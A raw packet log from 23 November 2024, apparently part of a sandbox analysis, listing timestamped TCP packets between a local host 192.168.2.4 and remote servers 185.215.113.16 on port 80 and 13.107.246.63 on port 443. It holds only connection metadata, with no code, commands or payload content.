Nov 23, 2024 20:23:47.325378895 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.325544119 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.326333046 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.326416969 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.326477051 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.327353954 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.327440023 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.327759027 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.328394890 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.328517914 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.328572035 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.329427004 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.329541922 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.329632998 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.330482006 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.330533981 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.330589056 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.331540108 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.331631899 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.331674099 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.332600117 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.332709074 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.332751036 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.333699942 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.333781958 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.333827972 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.334675074 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.334816933 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.334914923 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.335730076 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.335839987 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.335877895 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.336846113 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.336955070 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.337055922 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.337816000 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.337929964 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.337999105 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.338877916 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.339003086 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.339045048 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.339895964 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.340007067 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.340068102 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.340959072 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.341058969 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.341207027 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.341954947 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.346108913 CET	443	49876	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:47.346580982 CET	49876	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:47.346599102 CET	443	49876	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:47.347069025 CET	49876	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:47.347075939 CET	443	49876	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:47.396169901 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.488162041 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.488181114 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.488236904 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.488477945 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.488575935 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.488625050 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.488861084 CET	443	49877	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:47.489578962 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.489666939 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.490551949 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.490592003 CET	49877	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:47.490592003 CET	49877	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:47.490623951 CET	443	49877	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:47.490638018 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.490641117 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.490652084 CET	443	49877	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:47.490693092 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.491606951 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.491739988 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.491801023 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.492651939 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.492759943 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.492842913 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.493704081 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.493820906 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.493876934 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.494743109 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.494858980 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.494899035 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.495814085 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.495898962 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.495943069 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.496851921 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.496997118 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.497114897 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.497900009 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.498029947 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.498177052 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.498950005 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.499053955 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.499094009 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.499974966 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.500106096 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.500247002 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.501055002 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.501162052 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.501213074 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.502085924 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.502197981 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.503135920 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.503192902 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.503268957 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.503308058 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.504183054 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.504297018 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.504375935 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.505225897 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.505352974 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.505419970 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.506268024 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.506413937 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.507317066 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.507360935 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.507438898 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.507491112 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.508380890 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.508627892 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.508692026 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.509417057 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.509668112 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.509733915 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.510457039 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.510591030 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.510675907 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.511516094 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.511619091 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.511663914 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.512554884 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.512670040 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.512707949 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.513607979 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.513715029 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.513756037 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.514779091 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.514885902 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.514926910 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.515700102 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.515815973 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.515907049 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.516745090 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.516861916 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.516930103 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.517797947 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.517913103 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.517993927 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.518841982 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.518960953 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.519002914 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.519886017 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.520009041 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.520050049 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.520952940 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.521064043 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.521152020 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.521981955 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.522099972 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.522170067 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.523128033 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.523195028 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.523925066 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.524077892 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.524209976 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.524626017 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.525130987 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.525254965 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.525299072 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.526182890 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.526309013 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.526360035 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.527219057 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.527338028 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.527379990 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.528276920 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.528420925 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.528538942 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.529407978 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.529573917 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.529663086 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.530371904 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.530462027 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.530518055 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.531426907 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.531533957 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.531598091 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.532442093 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.532555103 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.532686949 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.533519983 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.533720016 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.533875942 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.534579039 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.534666061 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.534775972 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.535666943 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.535804987 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.535907984 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.536639929 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.536767960 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.536953926 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.537699938 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.537805080 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.537838936 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.538728952 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.538845062 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.538930893 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.538985014 CET	443	49878	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:47.539896965 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.540009975 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.540133953 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.540843964 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.540957928 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.541002035 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.541882038 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.541996956 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.542047977 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.542093992 CET	49878	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:47.542109013 CET	443	49878	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:47.542928934 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.543155909 CET	49878	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:47.543164015 CET	443	49878	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:47.584373951 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.652219057 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.689574003 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.689683914 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.689831018 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.690087080 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.690175056 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.690460920 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.691118956 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.691349983 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.691394091 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.692128897 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.692261934 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.692310095 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.693180084 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.693304062 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.693397999 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.694191933 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.694324970 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.694363117 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.695244074 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.695359945 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.695597887 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.696270943 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.696391106 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.697046995 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.697319984 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.697426081 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.697463036 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.698350906 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.698546886 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.698585033 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.699404001 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.699492931 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.699537992 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.700424910 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.700536013 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.700603008 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.701469898 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.701540947 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.701586962 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.702531099 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.702632904 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.703576088 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.703581095 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.703663111 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.704590082 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.704754114 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.704762936 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.704905033 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.705637932 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.705771923 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.706696033 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.706744909 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.706849098 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.706892967 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.707736969 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.707847118 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.708755970 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.708802938 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.708861113 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.708903074 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.709793091 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.709907055 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.709949017 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.710848093 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.711004019 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.711045980 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.711885929 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.711982012 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.712037086 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.712893963 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.713018894 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.713104010 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.713970900 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.714067936 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.714350939 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.714982033 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.715090990 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.715233088 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.716064930 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.716154099 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.716192961 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.717066050 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.717130899 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.717253923 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.718122005 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.718173027 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.719114065 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.719172955 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.719249964 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.719291925 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.720146894 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.720236063 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.720282078 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.721263885 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.721335888 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.721376896 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.722239971 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.722374916 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.723288059 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.723336935 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.723391056 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.723433018 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.724323988 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.724427938 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.724476099 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.725402117 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.725470066 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.726428032 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.726485014 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.726506948 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.726547956 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:47.727442026 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.727619886 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:47.727677107 CET	49870	80	192.168.2.4	185.215.113.16
